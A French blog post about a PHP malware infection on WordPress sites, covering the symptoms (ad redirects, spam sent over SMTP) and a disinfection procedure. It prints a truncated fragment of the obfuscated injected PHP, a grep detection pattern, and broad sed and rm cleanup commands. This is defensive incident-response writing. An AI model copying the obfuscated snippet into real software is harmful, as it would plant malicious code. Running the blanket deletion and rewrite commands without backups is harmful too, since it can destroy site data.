Fichiers PHP infectés sur un site WEB
L’infection
Comme beaucoup ces derniers mois, nous avons été victimes d’une infection des fichiers PHP sur nos sites WEB.
Symptômes:
- Sites web fonctionnent au ralenti.
- Visiteurs des sites sont renvoyés vers des sites publicitaires.
- En regardant sur le serveur, on voit que tous les scripts php ont fortement augmentés de taille: Exemple:
root@server01:/var/www/monsite# ls -l ./wp-content/plugins/akismet/views/ total 92 -rw-r--r-- 1 www-data www-data 21678 oct. 13 18:04 config.php -rw-r--r-- 1 www-data www-data 22506 oct. 13 18:04 get.php -rw-r--r-- 1 www-data www-data 23126 oct. 13 18:04 notice.php -rw-r--r-- 1 www-data www-data 6489 oct. 13 18:04 start.php -rw-r--r-- 1 www-data www-data 13764 oct. 13 18:04 stats.php -rw-r--r-- 1 www-data www-data 14043 oct. 13 18:04 strict.php root@server01:/var/www/mywebsite#
Et si on regarde un des fichiers PHP, ça ressemble à ça:
root@server01:/var/www/monsite# more ./wp-content/plugins/akismet/views/config.php <?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]); if ((! strstr($ua,"\x6d\163\x69\145")) and (! strstr($ua,"\x72\1 66\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"]=1; } ?><?php $guyuqbedgc = 'x5c%x7824)#P#-#Q#-#B#c%x7825ww2!>#p#%x5c%x782f#p#%x5c%x782f%x5c%x7825)ufttj%x5c%x7822)gj6<^#Y#%x5c%x785cq%x5c%x7825%j}l;33bq}k;o pjudovg}%x5c%x7878;0]=])0#)U!%x5c%x7827{**ux5c%x7827Y%x5c%x78256<.msv%x5c%x7860ftsbqA7>q%x5c%x787827id%x5c%x78256<%x5c%x787fw6*%x5c%x7860opjudovg%x5c%x7822)!gj}1~!<2p%x5c%x7825%x5c%x787f!~c%x7825hOh%x5c%x782 f#00#W~!%x5c%x7825t2w)##Qtjw)#]85!<5h%x5c%x7825%x5c%x782f#0#%x5c%x782f*#npd%x5c%x782f20QUUI7jsv%x5c%x78257UFH#%x5c%x7827rfs%x5c%xusbut%x5c%x7860cpV%x5c%x7!osvufs!~<3,j%x5c%x7825>j%x5c%x7825!*3!%x5c%x7827!hmg %x5c%x:>:8:|:7#6#)tutjyf%x5c%x7860439275ttfsqnpdov{h19275j{hnp5c%x78b%x5c%x7825ggg!>!#]y81]273]y76]25tussfw)%x5c%x7825c*W%x5c%x7825eN+#Qi%x5c%x785c1^W%x5c%x782%x782f#)rrd%x5c%x782f#00;quui#>.%x5c%x7825!<***f %x5c%x7827,*e%x5x7825%x5c%x7824-%x5c%x7824*<!~!dsfbuf%x5c%x7860gvodujpo)##-!#%x7825tpz!>!#]D6M7]K3#<%x5c%x7825yy>#]D6]28x5c%x7825)+opjudovg+)!gj+{e%x5c%x7825!osvufs!*!+A!>!{e%x5c%x7825)!>>5c%x7825!*72!%x5c%x 7827if((function_exists("%x6f%142%x5f%163%x74%141%x72%164") && (!isset(]275]y83]248]y83]256]y81]265]y72]254]y76#<%x5c%x5c%x7825):fmji%x5c%x7878:mqnjA%x5c%x7827&6<.fmjgj etc..
D’une manière générale, toutes les premières lignes des fichiers PHP sont corrompues.
Autre symptôme: Votre serveur envoie des Emails publicitaires un peu partout dans le monde. Vous pouvez voir qu’il communique en SMTP (port TCP 25) avec un peu tout le monde:
root@server01:/var/www# netstat -n Connexions Internet actives (sans serveurs) Proto Recv-Q Send-Q Adresse locale Adresse distante Etat tcp 0 7 92.243.7.35:52839 64.12.91.195:25 LAST_ACK tcp 0 155 127.0.0.1:3306 127.0.0.1:53194 ESTABLISHED tcp 0 52 92.243.7.35:1664 90.83.132.173:41078 ESTABLISHED tcp 0 1 92.243.7.35:43270 207.46.31.61:25 SYN_SENT tcp 0 0 127.0.0.1:53194 127.0.0.1:3306 ESTABLISHED tcp 0 7 92.243.7.35:47400 64.12.88.132:25 LAST_ACK tcp6 0 0 92.243.7.35:80 90.83.132.173:59931 FIN_WAIT2 tcp6 0 0 92.243.7.35:80 90.83.132.173:57996 FIN_WAIT2 tcp6 0 8838 92.243.7.35:80 50.63.196.153:34683 ESTABLISHED tcp6 0 0 92.243.7.35:80 90.83.132.173:59103 FIN_WAIT2 tcp6 0 0 92.243.7.35:80 90.83.132.173:41132 FIN_WAIT2 Sockets du domaine UNIX actives(sans serveurs) Proto RefCnt Flags Type State I-Node Chemin unix 5 [ ] DGRAM 3520 /dev/log unix 2 [ ] DGRAM 4596543 unix 3 [ ] STREAM CONNECTE 4596515 unix 3 [ ] STREAM CONNECTE 4596514 unix 2 [ ] DGRAM 4596513 unix 2 [ ] DGRAM 4071 unix 3 [ ] DGRAM 458 unix 3 [ ] DGRAM 457 root@server01:/var/www#
Et si vous regardez dans la file d’attente de exim, ça donne à peu près ça:
root@server01:/var/www# ls -l /var/spool/exim4/input -rw-r----- 1 Debian-exim Debian-exim 788 oct. 13 15:17 1XdfUk-0000H9-GZ-H -rw-r----- 1 Debian-exim Debian-exim 1581 oct. 13 15:17 1XdfUu-0000K0-7c-D -rw-r----- 1 Debian-exim Debian-exim 782 oct. 13 15:17 1XdfUu-0000K0-7c-H -rw-r----- 1 Debian-exim Debian-exim 1415 oct. 13 15:44 1Xdfv7-00031b-8S-D -rw-r----- 1 Debian-exim Debian-exim 783 oct. 13 15:44 1Xdfv7-00031b-8S-H -rw-r----- 1 Debian-exim Debian-exim 1378 oct. 13 15:46 1XdfxQ-00037Q-H2-D -rw-r----- 1 Debian-exim Debian-exim 783 oct. 13 15:46 1XdfxQ-00037Q-H2-H -rw-r----- 1 Debian-exim Debian-exim 1415 oct. 13 15:46 1XdfxS-00037Y-1w-D -rw-r----- 1 Debian-exim Debian-exim 789 oct. 13 15:46 1XdfxS-00037Y-1w-H -rw-r----- 1 Debian-exim Debian-exim 1372 oct. 13 15:50 1Xdg0s-0003FS-QW-D -rw-r----- 1 Debian-exim Debian-exim 778 oct. 13 15:50 1Xdg0s-0003FS-QW-H -rw-r----- 1 Debian-exim Debian-exim 1423 oct. 13 15:50 1Xdg1Z-0003Vu-49-D -rw-r----- 1 Debian-exim Debian-exim 788 oct. 13 15:50 1Xdg1Z-0003Vu-49-H ..... -rw-r----- 1 Debian-exim Debian-exim 1407 oct. 13 15:56 1Xdg6m-0003ey-1l-D -rw-r----- 1 Debian-exim Debian-exim 773 oct. 13 15:56 1Xdg6m-0003ey-1l-H -rw-r----- 1 Debian-exim Debian-exim 1397 oct. 13 15:58 1Xdg8x-0003iA-Kq-D -rw-r----- 1 Debian-exim Debian-exim 783 oct. 13 15:58 1Xdg8x-0003iA-Kq-H -rw-r----- 1 Debian-exim Debian-exim 1418 oct. 13 16:17 1XdgQm-0004Gk-GN-D -rw-r----- 1 Debian-exim Debian-exim 787 oct. 13 16:17 1XdgQm-0004Gk-GN-H root@server01:/var/www#
Vous pouvez déjà supprimer tous ces Emails bidons (spams, pourriels) en attente:
root@server01:/var/www# rm /var/spool/exim4/input/* root@server01:/var/www#
La désinfection
Attention ! Avant de commencer à tripatouiller les fichiers, faites une sauvegarde de votre dossier.
Exemple:
root@server01:/var/www# cp -Pr monsite monsite.sos root@server01:/var/www#
Pour nettoyer, on peut créer un script comme ça:
# Conversion des fichiers DOS2UNIX find . -type f -print0 | xargs -0 dos2unix # Remplacement sur la 1ère ligne de <?php_quelquechosedepasnet_<?php par <?php find . -name "*.php" -type f |xargs sed -i '1 s/^<?php.*<?php$/<?php/' 2>&1 # Même chose mais s'il y a un espace à la fin de php find . -name "*.php" -type f |xargs sed -i '1 s/^<?php.*<?php $/<?php/' 2>&1 # Remplacement sur la 1ère ligne de <?php_quelquechosedepasnet_<html> par <html> find . -name "*.php" -type f |xargs sed -i '1 s/^<?php.*<html>$/<html>/' 2>&1 # Remplacement sur la 1ère ligne de <?php_quelquechosedepasnet_<tr> par <tr> find . -name "*.php" -type f |xargs sed -i '1 s/^<?php.*<tr>$/<tr>/' 2>&1
Après avoir lancé le script, il restera sûrement quelques fichiers PHP infectés, car ils ont une première ligne spéciale.
Pour les débusquer, utiliser la commande suivante:
( Exemple, on cherche tous les fichiers PHP qui contiennent « !isset($GLOBALS » )
root@server01:/var/www/monsiteweb# find . -type f -name '*php' -exec grep -l '!isset($GLOBALS' {} \; ./wp-content/plugins/akismet/views/notice.php ./wp-content/plugins/akismet/views/stats.php ./wp-content/plugins/akismet/views/config.php ./wp-content/plugins/akismet/views/strict.php root@server01:/var/www/monsiteweb#
Puis nettoyer la première ligne « à la main », par exemple avec vi.
Voilà, en espérant que ces quelques infos auront pu vous aider. Laissez nous vos commentaires, et si vous avez besoin d’un coup de main, appelez-nous pour en discuter..
Sur le même sujet : Problème de SPAM sur un site WordPress